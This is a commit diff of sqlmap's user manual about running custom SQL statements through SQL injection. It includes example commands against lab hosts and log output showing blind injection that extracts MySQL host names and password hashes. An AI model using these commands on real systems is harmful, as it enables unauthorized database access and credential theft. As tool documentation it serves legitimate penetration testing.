@@ -3455,8 +3455,14 @@ <H3>Run your own SQL statement</H3>
3455
3455
< P > Options: < CODE > --sql-query</ CODE > and < CODE > --sql-shell</ CODE > </ P >
3456
3456
3457
3457
< P > The SQL query and the SQL shell features makes the user able to run
3458
- whatever < CODE > SELECT</ CODE > statement on the web application's back-end
3459
- database management system and retrieve its output.</ P >
3458
+ custom SQL statement on the web application's back-end database management.
3459
+ sqlmap automatically recognize the type of SQL statement provided and
3460
+ choose which SQL injection technique to use to execute it: if it is a
3461
+ < CODE > SELECT</ CODE > statement it will retrieve its output through the blind SQL
3462
+ injection or UNION query SQL injection technique depending on the user's
3463
+ options, otherwise it will execute the query through the stacked query
3464
+ SQL injection technique if the web application supports multiple
3465
+ statements on the back-end database management system.</ P >
3460
3466
3461
3467
< P > Examples on a < B > Microsoft SQL Server 2000 Service Pack 0</ B > target:</ P >
3462
3468
< P >
@@ -3495,9 +3501,9 @@ <H3>Run your own SQL statement</H3>
3495
3501
3496
3502
< P > As you can see from this last example, sqlmap splits the query in two
3497
3503
different < CODE > SELECT</ CODE > statement to be able to retrieve the output even
3498
- when using blind SQL injection technique.
3499
- Otherwise in inband SQL injection technique it only perform a single HTTP
3500
- request to get the user's query output:</ P >
3504
+ when using the blind SQL injection technique.
3505
+ Otherwise in UNION query SQL injection technique it only performs a single
3506
+ HTTP request to get the user's query output:</ P >
3501
3507
< P >
3502
3508
< BLOCKQUOTE > < CODE >
3503
3509
< PRE >
@@ -3524,24 +3530,12 @@ <H3>Run your own SQL statement</H3>
3524
3530
</ CODE > </ BLOCKQUOTE >
3525
3531
</ P >
3526
3532
3527
- < P > Examples on an < B > Oracle XE 10.2.0.1</ B > target:</ P >
3528
- < P >
3529
- < BLOCKQUOTE > < CODE >
3530
- < PRE >
3531
- $ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1" --sql-query \
3532
- "SELECT 'foo' FROM dual" -v 0
3533
-
3534
- [hh:mm:04] [INPUT] does the SQL query that you provide might return multiple entries? [Y/n] n
3535
- SELECT 'foo' FROM dual: 'foo'
3536
- </ PRE >
3537
- </ CODE > </ BLOCKQUOTE >
3538
- </ P >
3539
-
3540
- < P > As you can see, if your < CODE > SELECT</ CODE > statement contains a < CODE > FROM</ CODE >
3541
- clause, sqlmap asks the user if such statement can return multiple entries
3542
- and in such case the tool knows how to unpack the query correctly to
3543
- retrieve its whole output line per line when going through blind SQL
3544
- injection technique.</ P >
3533
+ < P > If your < CODE > SELECT</ CODE > statement contains a < CODE > FROM</ CODE > clause, sqlmap
3534
+ asks the user if such statement can return multiple entries and in such
3535
+ case the tool knows how to unpack the query correctly to retrieve its
3536
+ whole output entry per entry when going through blind SQL injection
3537
+ technique. Through UNION query SQL injection it retrieved the whole output
3538
+ in a single response.</ P >
3545
3539
3546
3540
< P > Example on a < B > PostgreSQL 8.3.5</ B > target:</ P >
3547
3541
< P >
@@ -3550,9 +3544,9 @@ <H3>Run your own SQL statement</H3>
3550
3544
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --sql-query \
3551
3545
"SELECT usename FROM pg_user" -v 0
3552
3546
3553
- [hh:mm:47 ] [INPUT] does the SQL query that you provide might return multiple entries? [Y/n] y
3554
- [hh:mm:48 ] [INPUT] the SQL query that you provide can return up to 3 entries. How many
3555
- entries do you want to retrieve?
3547
+ [hh:mm:32 ] [INPUT] can the SQL query provided return multiple entries? [Y/n] y
3548
+ [hh:mm:37 ] [INPUT] the SQL query provided can return up to 2 entries. How many entries
3549
+ do you want to retrieve?
3556
3550
[a] All (default)
3557
3551
[#] Specific number
3558
3552
[q] Quit
@@ -3564,72 +3558,62 @@ <H3>Run your own SQL statement</H3>
3564
3558
</ CODE > </ BLOCKQUOTE >
3565
3559
</ P >
3566
3560
3567
- < P > As you can see from the last example, sqlmap counts the number of entries
3568
- for your query and asks how many entries from the top you want to dump.
3561
+ < P > As you can see from the last example, sqlmap counted the number of entries
3562
+ for your query and asks how many entries you want to dump.
3569
3563
Otherwise if you specify also the < CODE > LIMIT</ CODE > , or similar, clause
3570
- sqlmap will not ask anything, just unpack the query and return its
3571
- output line per line when going through blind SQL injection technique.</ P >
3564
+ sqlmap will not ask anything, it just unpacks the query and return its
3565
+ output entry per entry when going through blind SQL injection technique.
3566
+ Through UNION query SQL injection it retrieved the whole output in a
3567
+ single response.</ P >
3572
3568
3573
3569
< P > Example on a < B > MySQL 5.0.67</ B > target:</ P >
3574
3570
< P >
3575
3571
< BLOCKQUOTE > < CODE >
3576
3572
< PRE >
3577
3573
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --sql-query \
3578
- "SELECT user, host, password FROM mysql.user LIMIT 1, 3" -v 1
3574
+ "SELECT host, password FROM mysql.user LIMIT 1, 3" -v 1
3579
3575
3580
3576
[...]
3581
3577
back-end DBMS: MySQL > = 5.0.0
3582
3578
3583
- [hh:mm:11 ] [INFO] fetching SQL SELECT query output: 'SELECT user, host, password FROM
3579
+ [hh:mm:22 ] [INFO] fetching SQL SELECT statement query output: 'SELECT host, password FROM
3584
3580
mysql.user LIMIT 1, 3'
3585
- [hh:mm:12] [INFO] the SQL query provided has more than a field. sqlmap will now unpack
3586
- it into distinct queries to be able to retrieve the output even if we are going blind
3587
- [hh:mm:12] [INFO] query: SELECT IFNULL(CAST(user AS CHAR(10000)), CHAR(32)) FROM mysql.user
3588
- ORDER BY user ASC LIMIT 1, 1
3589
- [hh:mm:12] [INFO] retrieved: root
3590
- [hh:mm:12] [INFO] performed 34 queries in 0 seconds
3591
- [hh:mm:12] [INFO] query: SELECT IFNULL(CAST(host AS CHAR(10000)), CHAR(32)) FROM mysql.user
3592
- ORDER BY user ASC LIMIT 1, 1
3593
- [hh:mm:12] [INFO] retrieved: localhost
3594
- [hh:mm:12] [INFO] performed 69 queries in 0 seconds
3595
- [hh:mm:12] [INFO] query: SELECT IFNULL(CAST(password AS CHAR(10000)), CHAR(32)) FROM mysql.user
3596
- ORDER BY user ASC LIMIT 1, 1
3597
- [hh:mm:12] [INFO] retrieved: *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
3598
- [hh:mm:13] [INFO] performed 293 queries in 0 seconds
3599
- [hh:mm:13] [INFO] query: SELECT IFNULL(CAST(user AS CHAR(10000)), CHAR(32)) FROM mysql.user
3600
- ORDER BY user ASC LIMIT 2, 1
3601
- [hh:mm:13] [INFO] retrieved: root
3602
- [hh:mm:13] [INFO] performed 34 queries in 0 seconds
3603
- [hh:mm:13] [INFO] query: SELECT IFNULL(CAST(host AS CHAR(10000)), CHAR(32)) FROM mysql.user
3604
- ORDER BY user ASC LIMIT 2, 1
3605
- [hh:mm:13] [INFO] retrieved: leboyer
3606
- [hh:mm:13] [INFO] performed 55 queries in 0 seconds
3607
- [hh:mm:13] [INFO] query: SELECT IFNULL(CAST(password AS CHAR(10000)), CHAR(32)) FROM mysql.user
3608
- ORDER BY user ASC LIMIT 2, 1
3609
- [hh:mm:13] [INFO] retrieved: *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
3610
- [hh:mm:14] [INFO] performed 293 queries in 0 seconds
3611
- [hh:mm:14] [INFO] query: SELECT IFNULL(CAST(user AS CHAR(10000)), CHAR(32)) FROM mysql.user
3612
- ORDER BY user ASC LIMIT 3, 1
3613
- [hh:mm:14] [INFO] retrieved: root
3614
- [hh:mm:14] [INFO] performed 34 queries in 0 seconds
3615
- [hh:mm:14] [INFO] query: SELECT IFNULL(CAST(host AS CHAR(10000)), CHAR(32)) FROM mysql.user
3616
- ORDER BY user ASC LIMIT 3, 1
3617
- [hh:mm:14] [INFO] retrieved: 192.168.1.121
3618
- [hh:mm:14] [INFO] performed 69 queries in 0 seconds
3619
- [hh:mm:14] [INFO] query: SELECT IFNULL(CAST(password AS CHAR(10000)), CHAR(32)) FROM mysql.user
3620
- ORDER BY user ASC LIMIT 3, 1
3621
- [hh:mm:14] [INFO] retrieved: *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
3622
- [hh:mm:15] [INFO] performed 293 queries in 0 seconds
3623
- SELECT user, host, password FROM mysql.user LIMIT 1, 3 [3]:
3624
- [*] root, localhost, *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
3625
- [*] root, leboyer, *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
3626
- [*] root, 192.168.1.121, *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
3581
+ [hh:mm:22] [INFO] the SQL query provided has more than a field. sqlmap will now unpack it
3582
+ into distinct queries to be able to retrieve the output even if we are going blind
3583
+ [hh:mm:22] [INFO] query: SELECT IFNULL(CAST(host AS CHAR(10000)), CHAR(32)) FROM
3584
+ mysql.user LIMIT 1, 1
3585
+ [hh:mm:22] [INFO] retrieved: localhost
3586
+ [hh:mm:22] [INFO] performed 69 queries in 0 seconds
3587
+ [hh:mm:22] [INFO] query: SELECT IFNULL(CAST(password AS CHAR(10000)), CHAR(32)) FROM
3588
+ mysql.user LIMIT 1, 1
3589
+ [hh:mm:22] [INFO] retrieved: *00E247AC5F9AF26AE0194B41E1E769DEE1429A29
3590
+ [hh:mm:24] [INFO] performed 293 queries in 2 seconds
3591
+ [hh:mm:24] [INFO] query: SELECT IFNULL(CAST(host AS CHAR(10000)), CHAR(32)) FROM
3592
+ mysql.user LIMIT 2, 1
3593
+ [hh:mm:24] [INFO] retrieved: localhost
3594
+ [hh:mm:25] [INFO] performed 69 queries in 0 seconds
3595
+ [hh:mm:25] [INFO] query: SELECT IFNULL(CAST(password AS CHAR(10000)), CHAR(32)) FROM
3596
+ mysql.user LIMIT 2, 1
3597
+ [hh:mm:25] [INFO] retrieved: *00E247AC5F9AF26AE0194B41E1E769DEE1429A29
3598
+ [hh:mm:27] [INFO] performed 293 queries in 2 seconds
3599
+ [hh:mm:27] [INFO] query: SELECT IFNULL(CAST(host AS CHAR(10000)), CHAR(32)) FROM
3600
+ mysql.user LIMIT 3, 1
3601
+ [hh:mm:27] [INFO] retrieved: localhost
3602
+ [hh:mm:28] [INFO] performed 69 queries in 0 seconds
3603
+ [hh:mm:28] [INFO] query: SELECT IFNULL(CAST(password AS CHAR(10000)), CHAR(32))
3604
+ FROM mysql.user LIMIT 3, 1
3605
+ [hh:mm:28] [INFO] retrieved:
3606
+ [hh:mm:28] [INFO] performed 6 queries in 0 seconds
3607
+ SELECT host, password FROM mysql.user LIMIT 1, 3 [3]:
3608
+ [*] localhost, *00E247AC5F9AF26AE0194B41E1E769DEE1429A29
3609
+ [*] localhost, *00E247AC5F9AF26AE0194B41E1E769DEE1429A29
3610
+ [*] localhost,
3627
3611
</ PRE >
3628
3612
</ CODE > </ BLOCKQUOTE >
3629
3613
</ P >
3630
3614
3631
3615
< P > The SQL shell option gives you access to run your own SQL statement
3632
- interactively, like a SQL console logged into the back-end database
3616
+ interactively, like a SQL console logged to the back-end database
3633
3617
management system.
3634
3618
This feature has TAB completion and history support.</ P >
3635
3619
@@ -3804,6 +3788,23 @@ <H3>Run your own SQL statement</H3>
3804
3788
column names of the table then asks if the query can return multiple
3805
3789
entries and goes on.</ P >
3806
3790
3791
+ < P > Example of SQL statement other than < CODE > SELECT</ CODE > on an < B > Oracle XE
3792
+ 10.2.0.1</ B > target:</ P >
3793
+ < P >
3794
+ < BLOCKQUOTE > < CODE >
3795
+ < PRE >
3796
+ $ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1" --sql-shell -v 1
3797
+
3798
+ [...]
3799
+ back-end DBMS: Oracle
3800
+
3801
+ [hh:mm:20] [INFO] calling Oracle shell. To quit type 'x' or 'q' and press ENTER
3802
+ sql> TODO
3803
+ </ PRE >
3804
+ </ CODE > </ BLOCKQUOTE >
3805
+ </ P >
3806
+
3807
+
3807
3808
3808
3809
< H2 > < A NAME ="ss5.8 "> 5.8</ A > < A HREF ="#toc5.8 "> File system access</ A >
3809
3810
</ H2 >
0 commit comments